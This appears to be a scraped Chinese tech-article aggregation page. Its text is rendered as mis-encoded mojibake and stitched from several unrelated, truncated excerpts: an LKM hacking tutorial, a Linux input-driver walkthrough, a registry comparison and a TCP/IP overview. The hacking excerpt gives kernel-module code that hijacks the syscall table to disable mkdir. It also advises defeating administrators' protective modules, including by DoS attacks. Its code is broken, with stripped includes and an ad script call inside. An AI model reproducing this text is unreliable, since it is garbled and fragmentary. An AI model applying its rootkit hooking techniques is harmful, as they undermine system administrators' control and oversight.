µÚ¶þ²¿·Ö ½¥Èë¼Ñ¾³
2.1 ÈçºÎ½Ø»ñϵͳµ÷ÓÃ
ÏÖÔÚÎÒÃÇ¿ªÊ¼ÈëÇÖLKM£¬ÔÚÕý³£Çé¿öÏÂLKMsÊÇÓÃÀ´À©Õ¹Äں˵Ä(ÌØ±ðÊÇÄÇЩӲ¼þÇý¶¯)¡£È»¶øÎÒÃǵđHacks’×öһЩ²»Ò»ÑùµÄÊÂÇé¡£ËûÃÇ»á½Ø»ñϵͳµ÷Óò¢ÇÒ¸ü¸ÄËûÃÇ£¬ÎªÁ˸ıäϵͳijЩÃüÁîµÄÏìÓ¦·½Ê½¡£
ÏÂÃæµÄÕâ¸öÄ£¿é¿ÉÒÔʹµÃÈκÎÓû§¶¼²»ÄÜ´´½¨Ä¿Â¼¡£ÕâÖ»²»¹ýÊÇÎÒÃÇËæºó·½·¨µÄÒ»¸öССÑÝʾ¡£
window.google_render_ad();
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*sys_call_talbe ±»ÒýÈ룬ËùÒÔÎÒÃÇ¿ÉÒÔ´æÈ¡Ëû*/
int (*orig_mkdir)(const char *path);
/*Ôʼϵͳµ÷ÓÃ*/
int hacked_mkdir(const char *path)
{
return 0;
/*ÆäËûÒ»ÇÐÕý³££¬³ýÁËн¨²Ù×÷£¬¸Ã²Ù×÷ʲôҲ²»×ö*/
}
int init_module(void)
/*³õʼ»¯Ä£¿é*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void)
/*Ð¶ÔØÄ£¿é*/
{
sys_call_table[SYS_mkdir]=orig_mkdir;
/*»Ö¸´mkdirϵͳµ÷Ó ......
µÚËIJ¿·Ö һЩ¸üºÃµÄÏë·¨
4.1 »÷°Üϵͳ¹ÜÀíÔ±µÄLKMµÄ·½·¨
ÕâÒ»²¿·Ö»á¸øÎÒÃǶԸ¶Ò»Ð©Ê¹ÓÃLKM±£»¤Äں˵ĶàÒÉ£¨ºÃµÄ£©µÄ¹ÜÀíÔ±µÄ·½·¨¡£ÔÚ½âÊÍÁËËùÓÐϵͳ¹ÜÀíÔ±Äܹ»Ê¹Óõķ½·¨Ö®ºó£¬ºÜÄÑΪÎÒÃÇ£¨hackers£©ÕÒµ½Ò»¸ö¸üºÃµÄ°ì·¨¡£ÎÒÃÇÐèÒªÀ뿪LKMÒ»»á¶ù£¬À´Ñ°ÕÒ»÷°ÜÕâЩÀ§Äѵı£»¤µÄ·½·¨¡£
¼Ù¶¨Ò»¸öϵͳ¿ÉÒÔ±»¹ÜÀíÔ±°²×°ÉÏÒ»¸öÊ®·ÖºÃµÄ´ó·¶Î§µÄ¼àÊÓµÄLKM£¬Ëû¿ÉÒÔ¼ì²éÄǸöϵͳµÄÿһ¸öϸ½Ú¡£Ëû¿ÉÒÔ×öµ½µÚ¶þ»òÕßµÚÈý²¿·ÖÌáµ½µÄËùÓÐÊÂÇé¡£
µÚ Ò»ÖÖ³ýµôÕâЩLKMµÄ·½·¨¿ÉÒÔÊÇÖØÐÂÆô¶¯ÏµÍ³¡£Ò²Ðí¹ÜÀíÔ±²¢Ã»ÓÐÔÚÆô¶¯ÎļþÀïÃæ¼ÓÔØÕâЩLKM¡£Òò´Ë£¬ÊÔһЩDoS¹¥»÷»òÕ߯äËûµÄ¡£Èç¹ûÄ㻹²»ÄܳýÈ¥Õâ¸ö LKM¾Í¿´¿´ÆäËûµÄÒ»Ð©ÖØÒªÎļþ¡£µ«ÊÇÒª×Ðϸ£¬Ò»Ð©ÎļþÓпÉÄÜÊDZ»±£»¤»òÕß¼àÊӵ썼û¸½Â¼A£¬ÀïÃæÓÐÒ»¸öÀàËÆµÄLKM£©¡£
¼ÙÈçÄãÕæµÄÕÒ²» µ½LKMÊÇÔÚÄÇÀï¼ÓÔØµÄµÈµÈ£¬²»ÒªÍü¼ÇϵͳÊÇÒѾ°²×°ÁËÒ»¸öºóÃŵġ£ÕâÑùÄã¾Í²»¿ÉÒÔÒþ²ØÎļþ»òÕß½ø³ÌÁË¡£µ«ÊÇÈç¹ûÒ»¸ö¹ÜÀíÔ±ÕæÕýʹÓÃÁËÕâôһ¸ö³¬¼¶µÄ LKM£¬Íü¼ÇÕâ¸öϵͳ°É¡£Äã¿ÉÄÜÓöµ½ÕæÕýµÄºÃµÄ¶ÔÊÖ²¢ÇÒ½«»áÓÐÂé·³¡£¶ÔÓÚÄÇЩȷʵÏë»÷°ÜÕâ¸öϵͳµÄ£¬¶ÁµÚ¶þС½Ú¡£
4.2 ÐÞ²¹Õû¸öÄÚºË-»òÕß´´½¨Hacker-OS
[×¢Ò⣺ÕâÒ»½ÚÌýÉÏÈ¥¿ÉÄÜÓÐһЩÀëÌâÁË¡£µ«ÊÇÔÚ×îºóÎÒ»á¸ø³ö ......
dzÎölinuxϼüÅÌÉ豸¹¤×÷ºÍ×¢²áÁ÷³Ì
¡¾Ç³ÎölinuxÏÂÊó±êÇý¶¯µÄʵÏÖ¡¿
input_init()=>
=>
class_register(&input_class);×¢²áinputÀà
input_proc_init();´´½¨procϵÄĿ¼ºÍÎļþ
register_chrdev(INPUT_MAJOR, "input", &input_fops);×¢²áÇý¶¯³ÌÐòµ½cdev_mapÉÏ,ÒÔ´ýÇý¶¯É豸.
drivers\input\keyboard\pxa3xx_keypad.cΪÎÒÃǵÄkeyboardÉ豸,
pxa3xx_keypad_probe=>
request_irq(IRQ_ENHROT, &enhanced_rotary_interrupt,
IRQF_DISABLED, "Enhanced Rotary", (void *)keypad);×¢²á¿ì½Ý¼üÖжÏ
request_irq(IRQ_KEYPAD, pxa3xx_keypad_interrupt, IRQF_DISABLED,pdev->name, keypad);×¢²áÖжÏ
static irqreturn_t pxa3xx_keypad_interrupt(int irq, void *dev_id)
{
struct pxa3xx_keypad *keypad = dev_id;
uint32_t kpc = keypad_readl(KPC);
if (kpc & KPC_MI)
pxa3xx_keypad_scan_matrix(keypad);
  ......
¶ÔÓÚÊó±êÇý¶¯ºÍÇ°Ãæ·ÖÎö¹ýµÄ¼üÅÌÇý¶¯¶¼Êǹ²ÓÃinputÄ£ÐÍ,ËùÒÔ,¶ÔÓÚʼþÉϱ¨ºÍ´¦ÀíµÄ·½Ê½¶¼Ã»ÓÐÇø±ð,Ö»ÊÇmouseÊó±êÇý¶¯µ±Éϱ¨Íêdx,dy,left,middle,rightÖ®ºó,ÐèÒªµ÷ÓÃinput_sync(),½«Ç°ÃæÉϱ¨µÄ½ö½öÌî³äÔÚ»º³åÇøÖеÄÊý¾Ý,ͨ¹ýmousedev_notify_readers()·¢Ë͸øopenÁ˵ĹҽÓÔÚmousedev->client_listÁ´±íÉϵȴý»ñÈ¡Êó±êÐÅÏ¢µÄclientÃÅ,Êó±êÉ豸ºÍ¼üÅÌÉ豸ÀàËÆ¶¼ÊÇÔÚ/dev/input/Ŀ¼Ï´´½¨ÁËÒ»¸öcharÀàÐ͵ÄÉ豸½Úµã,ÓÉÓ¦ÓóÌÐòʹÓÃread»òÕßpollÀ´×èÈûµ÷ÓÃ,¶ÔÓÚ¼üÅÌÉ豸Ϊ/dev/input/event0,...,/dev/input/eventx,¶ÔÓÚÊó±êÉ豸Ϊ/dev/input/mouse0,...,/dev/input/mousex,¿ÉÒÔʹÓÃsudo cat /dev/input/event0À´´ÓÖÕ¶ËÉϽػñÏÔʾ°´¼üµÄÐÅÏ¢,ʹÓÃsudo cat /dev/input/mouse0À´²¶×½Êó±êµÄÐÅÏ¢.
ÈÃÎÒÃÇÀ´¿´¿´Çý¶¯Ô´Â롾gliethttp.Leith¡¿£º
============drivers\input\mouse\amimouse.c============
input_report_rel(amimouse_dev, REL_X, dx);
input_report_rel(amimouse_dev, REL_Y, dy);
input_report_key(amimouse_dev, BTN_LEFT, ciaa.pra & 0x40);
i ......
¸ÐлÔÎÄ×÷Õߣºhttp://forum.ubuntu.org.cn/viewtopic.php?f=101&t=227869&sid=31fbca09f094a5e12ad6e3f6d9b90886
windows¸Õ¿ªÊ¼µÄʱºòÊǺÍunixÒ»ÑùûÓÐ×¢²á±íµÄ£¬ËüµÄ³ÌÐòÐÅÏ¢ÔÚºó׺ΪiniµÄÎı¾ÎļþÖС£ºóÀ´WindowsÒýÈË×¢²á±í£¬ÄÇôΪʲôWindowsÒª»¨Èç´Ë´óµÄÁ¦ÆøÒýÈË×¢²á±í»úÖÆ£¬ËüÒª½â¾öʲôÎÊÌ⣬Ëü±ÈÆðlinuxµÄÎÞ×¢²á±í»úÖÆºÃÔÚÄÄ£¿
Win Ö®ËùÒÔÅׯú ini »úÖÆ£¨Ðí¶à³ÌÐòÒÀÈ»ÔÚÓã¬Èç EditPad Pro »¹¿ÉÒÔÔÚ×¢²á±íºÍ ini
Ö®¼äÑ¡Ôñ£©£¬¿ÉÄÜÊÇÒòΪÆäÎļþ¼ÐµÄ½á¹¹»áµ¼Ö ini ÎļþÃÇÄÑÒÔ¹ÜÀí£¨²»Ïñ linux ¶¼ÔÚ /etc ºÍ $HOME/.xxx Ï£©¡£µ«
Linux ÕâÑùµÄĿ¼½á¹¹Ò²µ¼ÖÂͬһ¸ö³ÌÐòµÄ²»Í¬Îļþ´¦ÔÚ²»Í¬µÄλÖ㬶ø Windows ¾Í±ÜÃâÁËÕâÒ»µã¡£
Á½ÕߵIJî±ð²¢²»ÔÚÓÚÅäÖôæÈ¡±¾ÉíʵÏÖÉÏ£¬¶øÊÇÀ´×ÔÓÚWindowsºÍLinux¼Ü¹¹ÉϵÄÇø±ðÖ®Ò»£ºÒ»¸ö´æÔÚͳһµÄ¸ß²ãAPI£¬Ò»¸öûÓС£×¢²á±í·½Ê½ÖÁÉÙ¸üÀûÓÚÌṩһ×éͳһµÄAPIÀ´½øÐвÙ×÷¡£
Windows
µÄAPI¼¸ºõÊÇÒ»¸öȫȨ´úÀí£¬´óСÊÂÎñ¶¼¾¹ýËü£¬Ò²ÐèҪѯÎÊËü£¨µ±È»Ò²¿ÉÒÔдһЩÎÒÐÐÎÒËØÉè¼Æ²»Á¼µÄ´úÂ룩£»¶ølinuxÏÂһЩϵͳÐÅÏ¢µÄ»ñȡ;¾¶£¬ÓÐЩ
ÒÀÀµ»·¾³±äÁ¿£¬ÓÐЩÔòÊÇÓ²±àÂ루µ¼Ö·¢Ðаæ¼ä²»¼æÈݵÄÒòËØÖ®Ò»£©£¬²»È»Ê×ÏÈÒªÏëºÃ¸ÃÇóÖúÓÚË£ ......
ÕâÆªÎÄÕÂдÓÚÈýÄêǰ£¬µ±Ê±ÊÖÖÐÄÃ×ÅStevensµÄÈý±¾¾ÞÖø TCP v1/v2/v3 µÄÃþ²»×ÅÍ·ÄÔ£ÒòΪËüÃÇÌ«ºñÁË¡£ÎÒÖªµÀÎÒ²»ÐèÒªÄÇô¶à£¬ÄÇôÏêϸ¡£ÓÚÊÇÓÐÁË×Ô¼º·ÖÎöÔ´´úÂëµÄÏë·¨......
ÎÒ²»¶ÔÎÄÖеÄÄÚÈÝÌṩÈκα£Ö¤£¬µ«»¶ÓÓëÎÒÁªÏµÒԱ㲻¶ÏµÄÐÞ¸ÄËü£¬×îÖÕ¸øÐèÒªÖªµÀ¹ØÓÚLinux TCP/IPʵÏÖµÄÈËÌṩ¶ÌС¾«º·µÄÎÄÕÂÄÚÈÝ¡£
µÚÒ»²¿·Ö£ºLinuxµÄTCP/IPʵÏÖ¸ÅÊö
Linuxͨ¹ýͬʱ¶Ô¶àÖÖͨÐÅÐÒéµÄÖ§³ÖÀ´ÌṩͨÓõĵײã»ù´¡·þÎñ¡£ËüµÄµÚÒ»¸öÍøÂçÄ£Ð͵İ汾ÊÇ4.3 BSD£¬Ò²³ÆÎªNet/1£¬½ñÌìµÄLinuxÒѾʹÓÃNet/4 £¨Linux 2.2£©£¬ÆäÖдó¶àÊý´úÂëÒѾÍêÈ«ºÍBSDµÄ°æ±¾²»Í¬£¬µ«ÊÇËüÒÀȻ֧³ÖUINXƽ̨֮¼ä³ÌÐòµÄÒÆÖ²¡£
LinuxÍøÂçÌ×½Ó×ÖʵÏÖµÄģʽÊÇUNIXÏÂµÄÆÕ±é±ê×¼¡£Í¬Ê±£¬Net/4µÄÍøÂç²ãÊÇÍêÈ«ÁíÆð¯ÔîÖØÐ´µÄ¡£Ê×ÏÈ£¬ÐµÄÍøÂç²ã¾¡¿ÉÄܵØÊµÐв¢Ðд¦Àí£¬ Òò´ËÆäÉìËõÐÔ±ÈÆðÒÔǰµÄ°æ±¾£¬²»¿ÉͬÈÕ¶øÓï¡£Æä´Î£¬Ëü°üÀ¨ÁËÐí¶àµÄÓÅ»¯£¬ÒÔ±ãÈÆ¹ý²»ÉÙÁ÷ÐвÙ×÷ÏµÍ³ÍøÂçʵÏÖÖеIJ»ºÏÀí´¦£¨ÀýÈçWindows£©¡£µ½Ä¿Ç°ÎªÖ¹£¬Linux ÊÇΨһÓëIPv4ºÍIPv6ÐÒé±ê×¼ÍêÈ«±£³Ö¼æÈݵIJÙ×÷ϵͳ£¬¶øLinux2.4µÄIPv4ÉìËõÐÔÓÖ´óÓÐÌá¸ß¡£
LinuxÖ§³ÖµÄÁùÖÖ²»Í¬Í¨ÐÅÐÒé×壺
1£© TCP/IP £¨Ê ......